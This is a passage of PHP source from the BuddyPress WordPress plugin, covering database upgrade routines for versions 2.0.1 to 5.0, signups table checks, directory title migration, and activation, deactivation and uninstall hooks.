is_multisite() ) { // Maybe install the signups table. bp_core_maybe_install_signups(); // Run the migration script. bp_members_migrate_signups(); } /* Add BP options to the options table ***********************************/ bp_add_options(); } /** * 2.0.1 database upgrade routine. * * @since 2.0.1 */ function bp_update_to_2_0_1() { // We purposely call this during both the 2.0 upgrade and the 2.0.1 upgrade. // Don't worry; it won't break anything, and safely handles all cases. bp_core_maybe_install_signups(); } /** * 2.2.0 update routine. * * - Add messages meta table. * - Update the component field of the 'new members' activity type. * - Clean up hidden friendship activities. * * @since 2.2.0 */ function bp_update_to_2_2() { // Also handled by `bp_core_install()`. if ( bp_is_active( 'messages' ) ) { bp_core_install_private_messaging(); } if ( bp_is_active( 'activity' ) ) { bp_migrate_new_member_activity_component(); if ( bp_is_active( 'friends' ) ) { bp_cleanup_friendship_activities(); } } } /** * 2.3.0 update routine. * * - Add notifications meta table. * * @since 2.3.0 */ function bp_update_to_2_3() { // Also handled by `bp_core_install()`. if ( bp_is_active( 'notifications' ) ) { bp_core_install_notifications(); } } /** * 2.5.0 update routine. * * - Add emails. * * @since 2.5.0 */ function bp_update_to_2_5() { bp_core_install_emails(); } /** * 2.7.0 update routine. * * - Add email unsubscribe salt. * - Save legacy directory titles to the corresponding WP pages. * - Add ignore deprecated code option (false for updates). * * @since 2.7.0 */ function bp_update_to_2_7() { bp_add_option( 'bp-emails-unsubscribe-salt', base64_encode( wp_generate_password( 64, true, true ) ) ); // Update post_titles bp_migrate_directory_page_titles(); /* * Add `parent_id` column to groups table. * Also handled by `bp_core_install()`. */ if ( bp_is_active( 'groups' ) ) { bp_core_install_groups(); // Invalidate all cached group objects. global $wpdb; $bp = buddypress(); $group_ids = $wpdb->get_col( "SELECT id FROM {$bp->groups->table_name}" ); foreach ( $group_ids as $group_id ) { wp_cache_delete( $group_id, 'bp_groups' ); } } // Do not ignore deprecated code for existing installs. bp_add_option( '_bp_ignore_deprecated_code', false ); } /** * 5.0.0 update routine. * * - Make sure the custom visibility is disabled for the default profile field. * - Create the invitations table. * - Migrate requests and invitations to the new table. * * @since 5.0.0 */ function bp_update_to_5_0() { /** * The xProfile component is active by default on new installs, even if it * might be inactive during this update, we need to set the custom visibility * for the default field, in case the Administrator decides to reactivate it. */ global $wpdb; $bp_prefix = bp_core_get_table_prefix(); $field_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM {$bp_prefix}bp_xprofile_fields WHERE name = %s", addslashes( bp_get_option( 'bp-xprofile-fullname-field-name' ) ) ) ); $wpdb->insert( $bp_prefix . 'bp_xprofile_meta', array( 'object_id' => $field_id, 'object_type' => 'field', 'meta_key' => 'allow_custom_visibility', 'meta_value' => 'disabled' ), array( '%d', '%s', '%s', '%s' ) ); bp_core_install_invitations(); if ( bp_is_active( 'groups' ) ) { bp_groups_migrate_invitations(); } } /** * Updates the component field for new_members type. * * @since 2.2.0 * * @global $wpdb */ function bp_migrate_new_member_activity_component() { global $wpdb; $bp = buddypress(); // Update the component for the new_member type. $wpdb->update( // Activity table. $bp->members->table_name_last_activity, array( 'component' => $bp->members->id, ), array( 'component' => 'xprofile', 'type' => 'new_member', ), // Data sanitization format. array( '%s', ), // WHERE sanitization format. array( '%s', '%s' ) ); } /** * Remove all hidden friendship activities. * * @since 2.2.0 */ function bp_cleanup_friendship_activities() { bp_activity_delete( array( 'component' => buddypress()->friends->id, 'type' => 'friendship_created', 'hide_sitewide' => true, ) ); } /** * Update WP pages so that their post_title matches the legacy component directory title. * * As of 2.7.0, component directory titles come from the `post_title` attribute of the corresponding WP post object, * instead of being hardcoded. To ensure that directory titles don't change for existing installations, we update these * WP posts with the formerly hardcoded titles. * * @since 2.7.0 */ function bp_migrate_directory_page_titles() { $bp_pages = bp_core_get_directory_page_ids( 'all' ); $default_titles = bp_core_get_directory_page_default_titles(); $legacy_titles = array( 'activity' => _x( 'Site-Wide Activity', 'component directory title', 'buddypress' ), 'blogs' => _x( 'Sites', 'component directory title', 'buddypress' ), 'groups' => _x( 'Groups', 'component directory title', 'buddypress' ), 'members' => _x( 'Members', 'component directory title', 'buddypress' ), ); foreach ( $bp_pages as $component => $page_id ) { if ( ! isset( $legacy_titles[ $component ] ) ) { continue; } $page = get_post( $page_id ); if ( ! $page ) { continue; } // If the admin has changed the default title, don't touch it. if ( isset( $default_titles[ $component ] ) && $default_titles[ $component ] !== $page->post_title ) { continue; } // If the saved page title is the same as the legacy title, there's nothing to do. if ( $legacy_titles[ $component ] == $page->post_title ) { continue; } // Update the page with the legacy title. wp_update_post( array( 'ID' => $page_id, 'post_title' => $legacy_titles[ $component ], ) ); } } /** * Redirect user to BP's What's New page on first page load after activation. * * @since 1.7.0 * * @internal Used internally to redirect BuddyPress to the about page on activation. */ function bp_add_activation_redirect() { // Bail if activating from network, or bulk. if ( isset( $_GET['activate-multi'] ) ) { return; } // Record that this is a new installation, so we show the right // welcome message. if ( bp_is_install() ) { set_transient( '_bp_is_new_install', true, 30 ); } // Add the transient to redirect. set_transient( '_bp_activation_redirect', true, 30 ); } /** Signups *******************************************************************/ /** * Check if the signups table needs to be created or upgraded. * * @since 2.0.0 * * @global WPDB $wpdb */ function bp_core_maybe_install_signups() { global $wpdb; // The table to run queries against. $signups_table = $wpdb->base_prefix . 'signups'; // Suppress errors because users shouldn't see what happens next. $old_suppress = $wpdb->suppress_errors(); // Never use bp_core_get_table_prefix() for any global users tables. $table_exists = (bool) $wpdb->get_results( "DESCRIBE {$signups_table};" ); // Table already exists, so maybe upgrade instead? if ( true === $table_exists ) { // Look for the 'signup_id' column. $column_exists = $wpdb->query( "SHOW COLUMNS FROM {$signups_table} LIKE 'signup_id'" ); // 'signup_id' column doesn't exist, so run the upgrade if ( empty( $column_exists ) ) { bp_core_upgrade_signups(); } // Table does not exist, and we are a single site, so install the multisite // signups table using WordPress core's database schema. } elseif ( ! is_multisite() ) { bp_core_install_signups(); } // Restore previous error suppression setting. $wpdb->suppress_errors( $old_suppress ); } /** Activation Actions ********************************************************/ /** * Fire activation hooks and events. * * Runs on BuddyPress activation. * * @since 1.6.0 */ function bp_activation() { // Force refresh theme roots. delete_site_transient( 'theme_roots' ); // Add options. bp_add_options(); /** * Fires during the activation of BuddyPress. * * Use as of 1.6.0. * * @since 1.6.0 */ do_action( 'bp_activation' ); // @deprecated as of 1.6.0 do_action( 'bp_loader_activate' ); } /** * Fire deactivation hooks and events. * * Runs on BuddyPress deactivation. * * @since 1.6.0 */ function bp_deactivation() { // Force refresh theme roots. delete_site_transient( 'theme_roots' ); // Switch to WordPress's default theme if current parent or child theme // depend on bp-default. This is to prevent white screens of doom. if ( in_array( 'bp-default', array( get_template(), get_stylesheet() ) ) ) { switch_theme( WP_DEFAULT_THEME, WP_DEFAULT_THEME ); update_option( 'template_root', get_raw_theme_root( WP_DEFAULT_THEME, true ) ); update_option( 'stylesheet_root', get_raw_theme_root( WP_DEFAULT_THEME, true ) ); } /** * Fires during the deactivation of BuddyPress. * * Use as of 1.6.0. * * @since 1.6.0 */ do_action( 'bp_deactivation' ); // @deprecated as of 1.6.0 do_action( 'bp_loader_deactivate' ); } /** * Fire uninstall hook. * * Runs when uninstalling BuddyPress. * * @since 1.6.0 */ function bp_uninstall() { /** * Fires during the uninstallation of BuddyPress. * * @since 1.6.0 */ do_action( 'bp_uninstall' ); }